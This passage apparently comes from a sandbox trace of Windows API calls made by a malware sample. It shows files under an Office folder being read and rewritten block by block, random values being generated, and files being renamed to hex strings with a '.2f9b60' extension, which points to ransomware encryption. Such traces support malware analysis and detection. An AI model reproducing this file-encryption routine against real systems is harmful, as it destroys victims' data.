lpOverlapped=0x0) returned 1 [0182.157] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f300 [0182.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f300) returned 1 [0182.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2023d170 [0182.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f300 [0182.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f330 [0182.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f330) returned 1 [0182.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.160] WriteFile (in: hFile=0x1ef4, lpBuffer=0x2023d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3af5f680, lpOverlapped=0x0 | out: lpBuffer=0x2023d170*, lpNumberOfBytesWritten=0x3af5f680*=0x3c00, lpOverlapped=0x0) returned 1 [0198.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2023d170) returned 1 [0198.807] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x18400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.807] ReadFile (in: hFile=0x1ef4, lpBuffer=0x42339560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3af5f680, lpOverlapped=0x0 | out: lpBuffer=0x42339560*, lpNumberOfBytesRead=0x3af5f680*=0x3c00, lpOverlapped=0x0) returned 1 [0199.162] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x18400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0199.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a60) returned 1 [0199.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d9d540 [0199.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0199.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a00 [0199.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a00) returned 1 [0199.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.167] WriteFile (in: hFile=0x1ef4, lpBuffer=0x42d9d540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3af5f680, lpOverlapped=0x0 | out: lpBuffer=0x42d9d540*, lpNumberOfBytesWritten=0x3af5f680*=0x3c00, lpOverlapped=0x0) returned 1 [0209.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d9d540) returned 1 [0209.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430e9e50 [0209.988] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0209.988] WriteFile (in: hFile=0x1ef4, lpBuffer=0x133e40*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3af5f730, lpOverlapped=0x0 | out: lpBuffer=0x133e40*, lpNumberOfBytesWritten=0x3af5f730*=0x14a, lpOverlapped=0x0) returned 1 [0219.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0219.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0219.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ad0 [0219.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9ad0) returned 1 [0219.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0219.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ad0 [0219.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae20 [0219.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae20) returned 1 [0219.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0219.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0219.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431acba0 [0219.538] sprintf (in: _Dest=0x431acba0, _Format="%c%c" | out: _Dest="fc") returned 2 [0219.538] sprintf (in: _Dest=0x431acba2, _Format="%c%c" | out: _Dest="ad") returned 2 [0219.538] sprintf (in: _Dest=0x431acba4, _Format="%c%c" | out: _Dest="3a") returned 2 [0219.538] sprintf (in: _Dest=0x431acba6, _Format="%c%c" | out: _Dest="a7") returned 2 [0219.538] sprintf (in: _Dest=0x431acba8, _Format="%c%c" | out: _Dest="ab") returned 2 [0219.538] sprintf (in: _Dest=0x431acbaa, _Format="%c%c" | out: _Dest="ca") returned 2 [0219.538] sprintf (in: _Dest=0x431acbac, _Format="%c%c" | out: _Dest="2f") returned 2 [0219.538] sprintf (in: _Dest=0x431acbae, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.538] sprintf (in: _Dest=0x431acbb0, _Format="%c%c" | out: _Dest="21") returned 2 [0219.538] sprintf (in: _Dest=0x431acbb2, _Format="%c%c" | out: _Dest="c6") returned 2 [0219.538] sprintf (in: _Dest=0x431acbb4, _Format="%c%c" | out: _Dest="06") returned 2 [0219.538] sprintf (in: _Dest=0x431acbb6, _Format="%c%c" | out: _Dest="f1") returned 2 [0219.538] sprintf (in: _Dest=0x431acbb8, _Format="%c%c" | out: _Dest="68") returned 2 [0219.538] sprintf (in: _Dest=0x431acbba, _Format="%c%c" | out: _Dest="b2") returned 2 [0219.538] sprintf (in: _Dest=0x431acbbc, _Format="%c%c" | out: _Dest="8d") returned 2 [0219.538] sprintf (in: _Dest=0x431acbbe, _Format="%c%c" | out: _Dest="3c") returned 2 [0219.538] sprintf (in: _Dest=0x431acbc0, _Format="%c%c" | out: _Dest="f2") returned 2 [0219.538] sprintf (in: _Dest=0x431acbc2, _Format="%c%c" | out: _Dest="2a") returned 2 [0219.538] sprintf (in: _Dest=0x431acbc4, _Format="%c%c" | out: _Dest="b0") returned 2 [0219.538] sprintf (in: _Dest=0x431acbc6, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.538] sprintf (in: _Dest=0x431acbc8, _Format="%c%c" | out: _Dest="37") returned 2 [0219.538] sprintf (in: _Dest=0x431acbca, _Format="%c%c" | out: _Dest="85") returned 2 [0219.538] sprintf (in: _Dest=0x431acbcc, _Format="%c%c" | out: _Dest="89") returned 2 [0219.538] sprintf (in: _Dest=0x431acbce, _Format="%c%c" | out: _Dest="47") returned 2 [0219.538] RtlInitAnsiString (in: DestinationString=0x3af5f7a8, SourceString="fcad3aa7abca2ffa21c606f168b28d3cf22ab05b37858947" | out: DestinationString="fcad3aa7abca2ffa21c606f168b28d3cf22ab05b37858947") [0219.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x3af5f778, SourceString="fcad3aa7abca2ffa21c606f168b28d3cf22ab05b37858947", AllocateDestinationString=1 | out: DestinationString="fcad3aa7abca2ffa21c606f168b28d3cf22ab05b37858947") returned 0x0 [0219.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43105ad0 [0219.539] wcscat (in: _Dest=0x1b86b4c0, _Source="fcad3aa7abca" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcad3aa7abca") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcad3aa7abca" [0219.539] wcscat (in: _Dest=0x1b86b4c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcad3aa7abca.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcad3aa7abca.2f9b60" [0219.539] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcad3aa7abca.2f9b60", NtPathName=0x3af5f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcad3aa7abca.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431f4880 Thread: id = 2179 os_tid = 0x15ac [0140.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 0x20 [0140.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL", dwFileAttributes=0x20) returned 1 [0140.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f38 [0144.181] GetFileSizeEx (in: hFile=0x1f38, lpFileSize=0x3b93fc00 | out: lpFileSize=0x3b93fc00*=81768) returned 1 [0144.181] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x13f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.181] ReadFile (in: hFile=0x1f38, lpBuffer=0x3b93fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b93fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3b93fb80*, lpNumberOfBytesRead=0x3b93fbc8*=0x4, lpOverlapped=0x0) returned 1 [0144.228] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264500 [0144.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264320 [0144.229] NtQuerySystemTime (in: CurrentTime=0x3b93fac0 | out: CurrentTime=0x3b93fac0*=132462177494710000) returned 0x0 [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x4d3b8dfd [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x3698efe2 [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x4871791b [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x59ede15f [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x626804ac [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x1cf0b661 [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x79cdfcda [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x6e378791 [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x7c41529b [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x3e020ced [0144.229] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x6cc5bfc8 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x302ba08f [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x2f6687a2 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x198f9e8e [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x1fbefd5a [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x3f34da5c [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x7afea640 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x5b074214 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x5a85d593 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x5e018bd9 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x8108f5d [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x7dc3ad7b [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x1915b377 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x7f712c92 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x40187782 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x52449624 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x2e553828 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x5a1883a4 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x13fca277 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x9a69e11 [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x5fb5d9cb [0144.230] RtlRandomEx (in: Seed=0x3b93fab0 | out: Seed=0x3b93fab0) returned 0x2b07e99f [0144.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264380 [0144.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0144.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265790 [0144.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0144.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264320) returned 1 [0144.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42275d50 [0144.240] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.240] ReadFile (in: hFile=0x1f38, lpBuffer=0x42275d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b93fb20, lpOverlapped=0x0 | out: lpBuffer=0x42275d50*, lpNumberOfBytesRead=0x3b93fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0144.319] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a330 [0144.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264350 [0144.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264350) returned 1 [0144.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0144.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264350 [0144.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264740 [0144.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264740) returned 1 [0144.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a330) returned 1 [0144.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.320] WriteFile (hFile=0x1f38, lpBuffer=0x42279960, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b93fb20, lpOverlapped=0x0) [0172.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0172.976] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.977] ReadFile (in: hFile=0x1f38, lpBuffer=0x42275d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b93fb20, lpOverlapped=0x0 | out: lpBuffer=0x42275d50*, lpNumberOfBytesRead=0x3b93fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0172.978] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0172.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0172.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c10 [0172.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c10) returned 1 [0172.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0172.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c10 [0172.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b50 [0172.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b50) returned 1 [0172.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0172.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0172.981] WriteFile (in: hFile=0x1f38, lpBuffer=0x42279960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b93fb20, lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesWritten=0x3b93fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0187.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0187.154] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x10368, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.155] ReadFile (in: hFile=0x1f38, lpBuffer=0x42275d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b93fb20, lpOverlapped=0x0 | out: lpBuffer=0x42275d50*, lpNumberOfBytesRead=0x3b93fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0190.581] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x10368, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138dd0 [0190.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138dd0) returned 1 [0190.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b049e0 [0190.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138dd0 [0190.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e00 [0190.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e00) returned 1 [0190.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.584] WriteFile (in: hFile=0x1f38, lpBuffer=0x42b049e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b93fb20, lpOverlapped=0x0 | out: lpBuffer=0x42b049e0*, lpNumberOfBytesWritten=0x3b93fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0190.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b049e0) returned 1 [0190.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1db0 [0190.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138dd0) returned 1 [0190.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c10) returned 1 [0190.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264350) returned 1 [0190.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42275d50) returned 1 [0190.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20264350 [0190.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266180 [0190.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266180) returned 1 [0190.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266180 [0190.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265dc0 [0190.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d60 [0190.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d60) returned 1 [0190.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14a) returned 0x134520 [0190.872] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.872] WriteFile (in: hFile=0x1f38, lpBuffer=0x134520*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3b93fbd0, lpOverlapped=0x0 | out: lpBuffer=0x134520*, lpNumberOfBytesWritten=0x3b93fbd0*=0x14a, lpOverlapped=0x0) returned 1 [0203.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0203.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0203.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536a0 [0203.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536a0) returned 1 [0203.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d4a0 [0203.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536a0 [0203.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053520 [0203.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053520) returned 1 [0203.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0203.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0203.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d8b0 [0203.438] sprintf (in: _Dest=0x1ce5d8b0, _Format="%c%c" | out: _Dest="e5") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8b2, _Format="%c%c" | out: _Dest="ec") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8b4, _Format="%c%c" | out: _Dest="e9") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8b6, _Format="%c%c" | out: _Dest="04") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8b8, _Format="%c%c" | out: _Dest="f0") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8ba, _Format="%c%c" | out: _Dest="c4") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8bc, _Format="%c%c" | out: _Dest="5e") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8be, _Format="%c%c" | out: _Dest="a9") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8c0, _Format="%c%c" | out: _Dest="4e") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8c2, _Format="%c%c" | out: _Dest="3b") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8c4, _Format="%c%c" | out: _Dest="5d") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8c6, _Format="%c%c" | out: _Dest="1b") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8c8, _Format="%c%c" | out: _Dest="66") returned 2 [0203.438] sprintf (in: _Dest=0x1ce5d8ca, _Format="%c%c" | out: _Dest="f9") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8cc, _Format="%c%c" | out: _Dest="b2") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8ce, _Format="%c%c" | out: _Dest="64") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8d0, _Format="%c%c" | out: _Dest="a0") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8d2, _Format="%c%c" | out: _Dest="3a") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8d4, _Format="%c%c" | out: _Dest="58") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8d6, _Format="%c%c" | out: _Dest="9d") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8d8, _Format="%c%c" | out: _Dest="f7") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8da, _Format="%c%c" | out: _Dest="2b") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8dc, _Format="%c%c" | out: _Dest="2e") returned 2 [0203.439] sprintf (in: _Dest=0x1ce5d8de, _Format="%c%c" | out: _Dest="38") returned 2 [0203.439] RtlInitAnsiString (in: DestinationString=0x3b93fc48, SourceString="e5ece904f0c45ea94e3b5d1b66f9b264a03a589df72b2e38" | out: DestinationString="e5ece904f0c45ea94e3b5d1b66f9b264a03a589df72b2e38") [0203.439] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b93fc18, SourceString="e5ece904f0c45ea94e3b5d1b66f9b264a03a589df72b2e38", AllocateDestinationString=1 | out: DestinationString="e5ece904f0c45ea94e3b5d1b66f9b264a03a589df72b2e38") returned 0x0 [0203.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce155a0 [0203.440] wcscat (in: _Dest=0x202af340, _Source="e5ece904f0c4" | out: _Dest="C:\\Program Files\\Microsoft 